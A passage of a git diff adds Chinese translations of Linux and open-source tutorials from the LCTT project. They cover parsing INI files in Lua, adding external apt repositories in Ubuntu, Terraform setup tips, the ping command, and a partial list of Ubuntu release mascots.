默认的包地址: + +``` +$ Lua +> print(package.path) +./?.lua;/usr/share/lua/5.3/?.lua;/usr/share/lua/5.3/?/init.lua;/usr/lib64/lua/5.3/?.lua;/usr/lib64/lua/5.3/?/init.lua +``` + +在你的 Lua 代码中,将你本地库的路径添加到 `package.path` 中: + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua +``` + +### 使用 Lua 解析 INI 文件 + +当包的位置确定以后,下一件事就是引入 `inifile` 库并处理一些操作系统逻辑。即使这是一个很简单的应用,代码也需要从操作系统获取到用户主目录的路径,并建立在必要时将文件系统路径返回给操作系统的通信方式。 + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua +inifile = require('inifile') + +-- find home directory +home = os.getenv('HOME') + +-- detect path separator +-- returns '/' for Linux and Mac +-- and '\' for Windows +d = package.config:sub(1,1) +``` + +现在你可使用 `inifile` 来从配置文件解析数据到 Lua 表中。一旦这些数据被导入进表中,你可以像查询其他的 Lua 表一样查询它。 + +``` +-- parse the INI file and +-- put values into a table called conf +conf = inifile.parse(home .. d .. 'myconfig.ini') + +-- print the data for review +print(conf['example']['name']) +print(conf['example']['species']) +print(conf['example']['enabled']) +``` + +在终端中运行代码可以看见结果: + +``` +$ lua ./main.lua +Tux +penguin +false +``` + +这看起来是正确的。试试在 `demo` 块中执行同样的操作。 + +### 使用 INI 格式存储数据 + +不是所有用来解析的库都会读写数据(通常被称为 _编码 和 _解码_),但是 `inifile` 会这样做。这意味着你可以使用它对配置文件进行修改。 + +为了改变配置文件中的值,你可以对被解析的表中的变量进行设置,然后把表重写回配置文件中。 + +``` +-- set enabled to true +conf['example']['enabled'] = true +conf['demo']['enabled'] = true + +-- save the change +inifile.save(home .. d .. 'myconfig.ini', conf) +``` + +现在再来看看配置文件: + +``` +$ cat ~/myconfig.ini +[example] +name=Tux +species=penguin +enabled=true + +[demo] +name=Beastie +species=demon +enabled=true +``` + +### 配置文件 + +按照用户的设想来存储数据对程序来说是至关重要的。幸运的是,这对工程师来说是一个很常规的任务,大多数工作可能早已被完成了。只要找到一个好用的库完成开放格式下编码和解码,你就能为用户提供一致且持续的体验。 + +以下是完整的演示代码,可供参考。 + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua' +inifile = require('inifile') + +-- find home directory +home = os.getenv('HOME') + +-- detect path separator +-- returns '/' for Linux and Mac +-- and '\' for Windows +d = package.config:sub(1,1) + +-- parse the INI file and +-- put values into a table called conf +conf = inifile.parse(home .. d .. 'myconfig.ini') + +-- print the data for review +print(conf['example']['name']) +print(conf['example']['species']) +print(conf['example']['enabled']) + +-- enable Tux +conf['example']['enabled'] = true + +-- save the change +inifile.save(home .. d .. 'myconfig.ini', conf) +``` + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/parsing-config-files-lua + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hadisi1993](https://github.com/hadisi1993) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (坐在电脑前的女人) +[2]: https://opensource.com/article/21/6/config-files-and-their-formats +[3]: https://opensource.com/article/19/11/getting-started-luarocks +[4]: https://opensource.com/article/20/11/macports +[5]: https://opensource.com/article/20/6/homebrew-mac +[6]: https://opensource.com/article/20/3/chocolatey +[7]: https://www.freedesktop.org/wiki/Specifications +[8]: http://www.opengroup.org/onlinepubs/009695399/functions/getenv.html diff --git a/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md b/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md new file mode 100644 index 0000000000..a0667bb2a2 --- /dev/null +++ b/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md @@ -0,0 +1,190 @@ +[#]: subject: "Installing Packages From External Repositories in Ubuntu [Explained]" +[#]: via: "https://itsfoss.com/adding-external-repositories-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "nophDog" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15299-1.html" + +详解在 Ubuntu 从外部存储库安装软件包 +====== + +![][0] + +你大概知道怎么在 Ubuntu 中使用 `apt` 命令安装软件包。那些软件包都是来自 Ubuntu 的官方存储库。 + +那第三方或者外部存储库呢?不,我这里并不是要讲 PPA。 + +早晚你会碰到那种至少四行的安装说明:你需要安装名为 `apt-transport-https` 的包、操作一下 GPG 和 源列表source list 之后,你才能正常安装软件包。 + +没有什么印象的话,那我分享一个 [在 Ubuntu 上安装最新版本的 Yarn][1] 的例子: + +``` +sudo apt install apt-transport-https curl +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +sudo apt update && sudo apt install yarn +``` + +当你需要直接从开发者那里安装编程工具的时候,大概率会碰到这种安装方式。 + +许多人只是按照说明进行操作,并不会去思考其中的原理。这也没什么不对,但了解该过程实际上可以提升你在这方面的知识,而且有助于之后排除故障。 + +我来解释一下这些代码背后的逻辑。 + +### 理解从外部存储库安装的过程 + +在你继续往下阅读之前,我强烈建议你先看看下面这两篇文章,方便理解后续的概念: + + * [什么是 Ubuntu 中的存储库][2] + * [什么是 Ubuntu 中 PPA][3] + +为了让你有点印象,这里有一张软件包存储库和 [Linux 中的包管理器][4] 的图片。 + +![Illustration of repository and package manager][5] + +整件事情其实就是在系统中添加一个新的外部存储库。这样,你就可以从这个新存储库下载并安装可用的软件包。如果这个存储库提供了包版本的更新,你可以在更新系统的同时更新这些软件包(`apt update && apt upgrade`)。 + +那么,这是什么工作原理呢?让我们一条一条地过一遍。 + +#### 第 1 部分:为 apt 获取 HTTPS 支持 + +第一行是这样的: + +``` +sudo apt install apt-transport-https curl +``` + +`curl` 是一个 [Linux 终端下载文件的工具][6]。这里主要的部分是安装 `apt-transport-https`,但事实上已经不需要了。 + +明白了吗?这个 `apt-transport-https` 包让你的系统通过 HTTPS 协议安全访问存储库。按照设计,Ubuntu 的存储库使用 http 而不是 https 协议。 + +看看下面的截图。 https 这张图是我已经添加到系统中的外部存储库。Ubuntu 的存储库和 PPA 使用 http 协议。 + +![][7] + +在旧版本的 `apt` 包管理器中,不支持 https 协议。`apt-transport-https` 包为 `apt` 添加了 https 支持。要新增一个使用 https 的存储库,首先就得先安装此包。 + +我之前不是说不需要安装这个包了吗?是的,因为较新版本的 `apt`(高于 1.5)已经支持 https,所以你不需要再安装 `apt-transport-https`。 + +但是你依然看到我在说明中提到了这个包。这更多是出于遗留原因,而且可能还有很旧的发行版在使用旧版本的 `apt` 包。 + +现在,你可能想知道既然 https 是安全协议,那为什么 Ubuntu 的存储库还要使用 http 而不是 https。这难道没有安全风险吗?接着往下看你就知道答案了。 + +#### 第 2 部分:添加远程存储库的 GPG 密钥 + +Linux 存储库内置了基于 GPG 密钥的安全机制。每个存储库都将其 GPG 公钥添加到你的系统信任密钥中。来自存储库的包由这个 GPG 密钥“签名signed”,并且通过这份存储的公钥,系统能够验证软件包正是来自这个存储库。 + +如果 [密钥之间不匹配,你的系统会发出提醒][8],而不会继续从该存储库安装或者更新软件包。 + +到目前为止,一切都很顺利。下一步是将外部存储库的 GPG 公钥添加到你的 Linux 系统,以便它能接收来自该存储库的软件包。 + +``` +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +``` + +在上面的命令中,你使用 `curl` 从指定的 URL 下载 GPG 密钥。选项 `-sS` 能够让你不看多余的输出(静默模式),但会显示错误(如果有的话)。最后一个 `-` 告诉 `apt-key` 使用标准输入stdin而不是文件(在本例中是 `curl` 命令的输出)。 + +`apt-key add` 命令已经将下载的密钥添加到系统中。 + +你可以通过 `apt-key list` 命令查看系统中各种存储库添加的 GPG 密钥。 + +![List GPG keys][9] + +这是将 GPG 密钥添加到系统的一种方法。你会看到一些其它的命令,看起来略有不同,但效果一样,都是将存储库的公钥添加到你的系统里面。 + +``` +sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys E298A3A825C0D65DFD57CBB651716619E084DAB9 +``` + +你会注意到 `apt-key` 已被弃用的警告。在 Ubuntu 22.04 之前,你还可以使用 `apt-key` 命令,但它最终会被删除。现在不需要杞人忧天。 + +#### 第 3 部分:将外部存储库添加到源列表 + +下个命令是在系统的源列表中添加一个新条目。这样,你的系统就会知道它得检查该存储库中的包和更新。 + +``` +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +``` + +有一个文件 `/etc/apt/sources.list` 包含 Ubuntu 存储库的详细信息。最好不要随便动这个文件。所有新增的存储库都应放在 `/etc/apt/sources.list.d` 目录中相应的文件里(约定以 `.list` 结尾)。 + +![External repository should have their own sources list file in the /etc/apt/sources.list.d directory][10] + +这使得包管理变得更容易。如果你要从系统中删除一个存储库,只需删除相应的源文件即可。无需修改主 `sources.list` 文件。 + +让我们再仔细地看一下这行命令。 + +``` +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +``` + +使用 `sh` 可以在一个新的 shell 进程中运行命令,而不是 [子 shel​​l][11]。 `-c` 选项告诉 `sh` 命令从参数而不是标准输入读取命令。然后它运行 `echo` 命令,也就是把 `deb https://dl.yarnpkg.com/debian/ stable main` 这一行添加到 `/etc/apt/sources.list.d/yarn.list` 文件(会创建该文件)。 + +现在,你可以通过各种方法在指定目录中创建 `.list` 文件并在其中添加包含存储库详细信息的数据行。你也可以像这样使用: + +``` +echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list +``` + +明白了吧? + +#### 第 4 部分:从新添加的存储库安装应用程序 + +到目前为止,你已经将存储库的 GPG 密钥和存储库的 URL 添加到系统中。 + +但是系统仍然不晓得这个新存储库中有哪些可用的包。这就是为什么你需要先使用下面这个命令更新包元数据的本地缓存: + +``` +sudo apt update +``` + +这时你的系统就已经知道新增存储库中可用软件包的信息,现在可以试试安装软件包: + +``` +sudo apt install yarn +``` + +为了节省时间,你可以在 [同一行挨着运行这两个命令][12]e。 + +``` +sudo apt update && sudo apt install yarn +``` + +`&&` 可以确保第二个命令只会在前一个命令没有任何报错的前提下运行。 + +整个流程就是这样。 + +#### 有没有豁然开朗呢,还是一脸懵逼? + +我已经解释了在 Ubuntu 中使用外部存储库背后的逻辑。希望你现在能更好地理解它,当然可能还有很多细节会让你困惑。 + +如果你还不清楚或者还有其他问题,可以联系我。如果你发现了技术上的纰漏,记得在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/adding-external-repositories-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[nophDog](https://github.com/nophDog) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-yarn-ubuntu/ +[2]: https://itsfoss.com/ubuntu-repositories/ +[3]: https://itsfoss.com/ppa-guide/#comments +[4]: https://itsfoss.com/package-manager/ +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/linux-package-manager-explanation.png?resize=800%2C450&ssl=1 +[6]: https://itsfoss.com/download-files-from-linux-terminal/ +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/apt-update-http-https.png?resize=800%2C527&ssl=1 +[8]: https://itsfoss.com/solve-gpg-error-signatures-verified-ubuntu/ +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/list-apt-key-gpg-ubuntu.png?resize=800%2C547&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/sources-list-ubuntu.png?resize=800%2C313&ssl=1 +[11]: https://linuxhandbook.com/subshell/ +[12]: https://itsfoss.com/run-multiple-commands-linux/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/29/154339id0xb2exw0c8y222.jpg \ No newline at end of file diff --git a/published/202211/20210811 My top 5 tips for setting up Terraform.md b/published/202211/20210811 My top 5 tips for setting up Terraform.md new file mode 100644 index 0000000000..0b109a9db6 --- /dev/null +++ b/published/202211/20210811 My top 5 tips for setting up Terraform.md @@ -0,0 +1,77 @@ +[#]: subject: "My top 5 tips for setting up Terraform" +[#]: via: "https://opensource.com/article/21/8/terraform-tips" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15206-1.html" + +关于配置 Terraform 的五条建议 +====== + +> 本文介绍我使用 Terraform 五年之后吸取到的经验。 + +![](https://img.linux.net.cn/data/attachment/album/202211/02/220728ngg0kzjg0rldu0l7.jpg) + +使用 Terraform 五年的经历让我吸取到一些重要经验。无论团队大小、项目性质,有五条要点对于配置合乎逻辑且可用的 Terraform 平台至关重要。 + +### 1、了解你的目标受众 + +这一点似乎显而易见,但我也见过一些在这方面犯错的案例。当组织和规划 Terraform 的相关代码时,无论是将目录结构标准化还是确定命名规范,考虑目标受众是非常重要的。例如:你的团队是否会使用这些 Terraform 脚本和模块?你是否会向其他团队交接工作?你的团队是否会有新成员加入?你是否正在独自进行项目开发?你是否会半年或一年后仍然使用这些配置,还是会将它安排给别人? + +这类问题会影响某些决策。理想情况下,无论如何都应该有 [远程状态][2]Remote State[状态锁定][3]State Locking 两种状态。远程状态确保你的笔记本电脑不是你的 Terraform 唯一运行的机器,状态锁定确保同一时刻只有一个人对基础设施进行修改操作。 + +命名规范应该对项目的最终拥有者有意义,而不是只对开发团队有意义。如果项目会转交给其他团队,应该确保他们对命名规范有发言权。如果代码由非技术的利益相关者或内部安全/ GCR 团队负责审查,应该确保他们会检查命名规范。另外,对于资源名称,为了让代码审查人员更仔细地进行检查,你应该使用资源标签,把有关的数据分类/隐私需求(高、中、低)标示出来。 + +### 2、重用,重用,重用 + +[Terraform 注册表][4] 为大多数普通用例提供了现成模块类库。我已经使用过 VPC 模块和安全模块中的大量功能,这些功能只需要提供相关的参数就能使用。使用不同的参数,简单调用这些模块对于处理大部分用例已经足够了。尽可能多地重用这些公共模块,可以避免大量且重复的编码、测试、检查、修复、重构等操作。 + +我也发现,基于使用或变更的频率划分模块和资源大有好处。例如,只使用一次的基础设施手脚架,例如 VPC 相关设置、安全模块、路由表、VPC 端点等,可以放在一起。但是像私有托管域条目、自动伸缩模块、目标模块、负载均衡器等,每次部署时都会变化,所以把这些与一次性的基础设施手脚架分离开来,会令代码检查更方便,调试更快速。 + +### 3、要明确,而非隐含 + +Terraform 代码中有一些常见的模式,它会导致设计中出现错误的假设。团队可以假设用来写代码的 Terraform 版本永远保持不变,外部模块不会变化,或它们使用的提供者不会变更。当这些外部依赖不可避免地发生变化时,就会导致一些难以发现的问题。 + +无论何处(包括主要的 Terraform 组、提供者组、功能模块组)都要确保定义是明确的。事先定义版本,可以确保依赖库是固定的,因此你可以在讨论、审查、测试后,明明白白地更新依赖关系。 + +### 4、自动化每一处,包括笔记本电脑、共享虚拟机、CI/CD。 + +在部署的各个阶段使用自动化方法,可以避免可能发生的问题。 + +在你提交代码前,使用 [Git 预提交钩子][5] 运行 `terraform fmt` 和 `terraform validate`。预提交钩子的作用是确保你的代码满足最低程度的格式和语法正确。把这个预提交文件检入到仓库,对你的团队成员都有好处。项目的第一步就进行质量控制相关的操作,它虽然表面上是小事一桩,但也很重要,能为项目节省大量时间。 + +一切现代化部署工具都有 CI 流程。当你向原始仓库推送代码时,可以使用它来运行 SAST 和单元测试工具。我写过一篇 [博客][6],是关于使用 Checkov 测试 Terraform 代码的安全性和合规性,并为组织特定的惯例创建自定义检查。把这些单元测试工具加入到你的 CI 管道,可以改进代码质量和健壮性。 + +### 5、写个好的 README.md 文件 + +我们都认为 Terraform 代码是自文档化的。的确如此,但是只有当未来的团队已经了解你的公司的命名规范、开发指南、机密通信、圈内笑话,以及你的仓库内除有效的 Terraform 代码之外其他所有东西,才会如此。维护 `README.md` 文件是个好习惯,它能节省大量时间,而且团队成员要为自己向 README 文件提交的任何内容负责,这样也就确保团队成员的忠诚度。 + +你的 README 文件至少应该包含在你的工作环境下(Linux、 Windows、Mac 等等)初始化 Terraform 环境的步骤,包括 Terraform 的版本信息。它应当确定需要的依赖库(Checkov、 TerraGrunt 及其他依赖)和其版本,以及团队使用的方便的 Linux 别名(例如有人喜欢将 `terraform fmt` 简写为 `tff`)。最重要的是,需要确定分支和 PR 审核策略和流程、命名规范和资源标签的相关标准。 + +README 文件需要通过这样的检验:如果团队有新成员加入,能否告诉他们做什么以及如何正确地完成工作?如果不能,在后续的几个月内,你将面对的是无休止的标准和流程讨论会议。 + +### 结束语 + +这些就是我使用 Terraform 多年后,认为需要传授给大家的五条有用的建议。也欢迎你分享自己的最佳实践。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/terraform-tips + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://www.terraform.io/docs/language/state/index.html +[3]: https://www.terraform.io/docs/language/state/locking.html +[4]: https://registry.terraform.io/ +[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 +[6]: https://notes.ayushsharma.in/2021/07/cloud-infrastructure-sast-terraform-checkov diff --git a/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md b/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md new file mode 100644 index 0000000000..dbeff9ef51 --- /dev/null +++ b/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md @@ -0,0 +1,154 @@ +[#]: subject: "Diagnose connectivity issues with the Linux ping command" +[#]: via: "https://opensource.com/article/21/10/linux-ping-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15271-1.html" + +使用 Linux 的 ping 命令诊断网络连接问题 +====== + +> 在本文中,我们将讨论网络连接最基本的诊断工具之一:`ping` 命令。 + +![][0] + +如今,联网计算机变得十分普遍,以至于我们大多数人都理所当然地认为,房间一侧的计算机可以连接上房间另一侧的计算机,更不用说能连接上世界的另一端的计算机了。如此,网络使互联网、云、文件共享、媒体流、远程管理、打印等服务成为可能。但是当网络出现问题时,有时很难诊断到底是其中哪一环节出现了问题。下面,我们就来介绍:网络连接最基本的诊断工具之一—— `ping` 命令。 + +### 基本的 ping 命令 + +当你无法访问本地网络上的计算机或互联网上的服务器时,你可以 `ping` 它的 IP 地址。`ping` 将 互联网控制报文协议 Internet Control Message Protocol (ICMP)数据包发送到目标 IP 地址。当我们要对网路连接状况进行判断时,ICMP 是个非常有用的协议,本质上 ICMP 是一个响应和应答信号。 + +让我们由近及远地进行故障排除。请先 `ping` 你自己的计算机,以确保你的计算机正在运行 网络栈 networking stack 。你正在操作的计算机称为 主机 localhost ,本地回环地址是:`127.0.0.1`。 + +`ping` 命令能用主机的 主机名 hostname 、IP 地址(即 `127.0.0.1`)或者仅仅用简写 `0` 来表示 “主机”。 + +你可以使用 `-c` 选项,来控制发送数据包的 次数 count 。 + +``` +$ ping 0 -c 1 +PING 0 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.069 ms + +--- 0 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.069/0.069/0.069/0.000 ms +``` + +在你确认本地网络栈已启动并运行后,接下来,你可以 `ping` 你的路由器的 IP 地址。路由器的 IP 地址通常以 `192.168` 或 `10` 开头。实际的 IP 地址取决于路由器的配置。 + +当你没有指定要发送多少次请求时,你可以用 `Ctrl+C`,来终止 `ping` 的运行。 + +``` +$ ping 192.168.0.1  +PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. +From 192.168.0.100: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=3 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=4 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=5 Redirect Host(New nexthop: 192.168.0.1) +^C +``` + +如果你能 `ping` 通路由器,则表示你的有线或无线连接能正常工作。 + +对于你的局域网上的其他主机呢?你可以 `ping` 各种设备,但是并非所有设备都能保证响应,因为一些设备会丢弃 ICMP 数据包,但许多设备会做出响应。例如,我可以 `ping` 我的打印机: + +``` +$ ping 192.168.0.4  +``` + +### ping 路由器以外的其他服务器 + +在确定你自己的网络内部都能连通以后,你还可以 `ping` 通到路由器以外的其他服务器。同样地,并非所有服务器都能接收 ICMP 数据包,更不用说响应 ICMP 数据包了。然而,也有一些服务器可以接收并响应 ICMP 数据包,而在互联网中的一个重要服务器是 域名服务器 nameserver 。 + +谷歌的 域名解析服务器 DNS server 的 IP 地址很容易记住,而且它会响应 `ping` 请求: + +``` +$ ping -c 2 8.8.8.8 +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms +64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.5 ms + +--- 8.8.8.8 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1000ms +rtt min/avg/max/mdev = 53.304/53.424/53.544/0.120 ms +``` + +当你连不上一个网站时,你可以查询全球 DNS 网络,以找出其主机服务器的地址,然后 `ping` 该服务器。这至少可以告诉你,网站不通的原因是主机已关闭,或者只是 Web 服务器问题。 + +例如,假设你尝试访问 `example.com`,但是发现失败了。首先,使用 `host` 命令找到 `example.com` 的 IP 地址: + +``` +$ host example.com +example.com has address 93.184.216.34 +example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946 +example.com mail is handled by 0 +``` + +然后,`ping` 该网站的的 IP 地址: + +``` +$ ping 93.184.216.34 -c 1 +``` + +### 使用 IPv6 + +`ping` 不仅可以使用 IPv4,还能使用 IPv6。可以通过指定 `-4` 或 `-6` 选项,来只使用 IPv4 或 IPv6。 + +### 设置数据包大小 + +你可以使用 `-s` 选项,来更改要发送的 ICMP 数据包的 大小 size 。默认的数据大小为 56 字节,加上 8 字节包头,总共得到 64 字节的 ICMP 数据包。以下的示例将发送的 ICMP 数据包大小修改为 35+8=43 个字节: + +``` +$ ping -s 35 -c 5 8.8.8.8 +``` + +你可以使用 `-D` 选项,使得在终端中的每个 `ping` 回复之前,先打印出当前的时间戳。该时间戳为 UNIX 时间戳,加上微秒: + +``` +$ ping -D 8.8.8.8  +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +[1634013430.297468] 64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms +[1634013431.298738] 64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.1 ms +``` + +### 设置时间间隔/长短 + +你可以使用 `-i` 选项,来更改两次 `ping` 请求之间的 时间间隔 interval 。以下的示例将 `ping` 间隔更改为 2 秒: + +``` +$ ping -i 2  +``` + +你也可以使用 `-w` 选项,来在一段时间后终止 `ping`,单位为秒。 + +``` +$ ping -w 6 +``` + +### ping 的变体 + +`ping` 有很多变体。例如,`iputils` 包提供了 `ping` 命令;[Busybox][2] 也有`ping` 命令;BSD 也有;甚至还有一个图形界面的 `ping`:`gping`,它可用于 Linux、macOS 和 Windows。你可以在 [GitHub][3] 上找到更多有关 `gping` 的信息。 + +### 一起来学习吧 + +`ping` 命令很简单,但它可以帮你诊断网络连接问题。下次再遇到网络连接问题时,让 `ping` 命令成为你解决问题的第一个工具吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/linux-ping-command + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/world_remote_teams.png?itok=Wk1yBFv6 (World locations with red dots with a sun burst background) +[2]: https://opensource.com/article/21/8/what-busybox +[3]: https://github.com/orf/gping +[0]: https://img.linux.net.cn/data/attachment/album/202211/20/094045mhhkqhepke4qebks.jpg \ No newline at end of file diff --git a/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md b/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md new file mode 100644 index 0000000000..de6287f76d --- /dev/null +++ b/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md @@ -0,0 +1,486 @@ +[#]: subject: "For the Love of Ubuntu: Here are the Mascots of All Ubuntu Releases" +[#]: via: "https://itsfoss.com/all-Ubuntu-mascots/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15240-1.html" + +Ubuntu 所有版本的吉祥物 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/11/130502q6500yvm0znvktz9.jpg) + +> 在这篇文章中,我们会介绍迄今为止所有 Ubuntu 发行版本的吉祥物。 + +你可能已经注意到了:每个 Ubuntu 版本都会有一个版本名称和代号。代号由两个单词组成,这两个单词有相同的首字母,第一个单词是形容词,另一个单词通常是一个濒危的物种名称。 + +对应于其代号,这些 Ubuntu 版本也有一个吉祥物。例如,Ubuntu 22.04 的代号为 “Jammy Jellyfish”,因此 Ubuntu 22.04 的桌面壁纸上有 **吉祥物:水母** 的图像。 + +但是实际上,这些“吉祥物”并不总是 Ubuntu 版本的一部分,因为吉祥物在早期的 Ubuntu 版本中是没有的。 + +有史以来第一个 Ubuntu 版本是在 2004 年 10 月发布的 4.10 版(LCTT 译注:Ubuntu 的版本号是由年份和月份的组合来表示的。)但是,直到 Ubuntu 8.04 LTS “Hardy Heron” 版本,你才会看到相关的吉祥物。 + +在我之前写的 [另一篇文章][1] 中,我整理了所有 Ubuntu 版本的默认壁纸。在本文中,你将了解到所有 Ubuntu 版本的吉祥物。 + +现在,就让我们按时间倒序,一起进入 Ubuntu 的吉祥物之旅吧。 + +(LCTT 校注:本文原文发表时,Ubuntu 22.10 尚未发布,它的代号是 “Kinetic Kudu”,吉祥物是“捻角羚”。) + +(LCTT 校注:由于 Ubuntu 系列的代号和吉祥物选择的都是比较少见的动物和晦涩的描述,因此尽管译者和校对虽然尽力了,但是应该还有谬误。我觉得原文作者为了找出这些说明也尽力,恐怕真正权威的诠释只有 Canonical 才能给出吧。) + +### Ubuntu 22.04 Jammy Jellyfish(幸运水母) + +![Ubuntu 22.04 mascot][2] + +于 2021 年 4 月 21 日发布。 + +Jammy 的意思是被果酱覆盖着的、充满果酱的。不太正式地,Jammy 还有**幸运**的意思。 + +水母 Jellyfish 是一种自由游动的水生动物,它的身体就像是一把透明伞,还具有拖曳的触须。少数水母是通过茎干固定在海床上,而不能移动。全世界的海洋中有超过两百种的水母,它们分布于全球各地的水域里。 + +### Ubuntu 21.10 Impish Indri(顽皮大狐猴) + +![Ubuntu 21.10 mascot][3] + +于 2021 年 10 月 14 日发布。 + +Impish 的意思是以**顽皮**而不是严肃的方式,对某人/某事不太尊重。 + +大狐猴 Indri ,也称为 babakoto,是现存的最大的狐猴之一。它的头身长约 64 至 72 厘米,体重在 6 至 9.5 公斤之间。它的毛发是黑白相间的。在攀爬或攀爬时,它会保持竖直的姿势。 + +> 据维基:2014 年的世界自然保护联盟(IUCN) 红色名录 Red List 中,仅出现在马达加斯加的大狐猴首次被提升至极危级别。 + +### Ubuntu 21.04 Hirsute Hippo(多毛河马) + +![Ubuntu 21.04 mascot][4] + +于 2021 年 4 月 22 日发布。 + +Hirsute 的意思是**多毛的**。 + +河马 Hippo ,是一种生活在非洲大陆撒哈拉以南的大型半水生哺乳动物。河马是河马科中仅有的两个现存物种之一,另一个物种是 侏儒河马 pygmy hippopotamus 。河马的名字来源于古希腊语“river horse”。 + +> 据维基:在 2006 年 5 月已被 IUCN 红色名录中分为易危物种,世界仅存约 12.5 万-15 万头 + +但是其实,我并没有见过很多多毛的河马 😅。 + +### Ubuntu 20.10 Groovy Gorilla(时髦大猩猩) + +![Ubuntu 20.10 mascot][5] + +于 2020 年 10 月 22 日发布。 + +Groovy 的意思是**时尚的**和令人兴奋的。 + +大猩猩 Gorilla ,是一种草​​食性的地栖巨猿。它主要栖息在赤道非洲的热带森林中。大猩猩属分为两个物种:东部大猩猩和西部大猩猩,以及进一步可分为四个或五个亚种。 + +### Ubuntu 20.04 LTS Focal Fossa(瞩目狸猫) + +![Ubuntu 20.04 mascot][6] + +于 2020 年 4 月 23 日发布。 + +Focal 的意思是令人注目的、**瞩目**。 + +马岛长尾狸猫 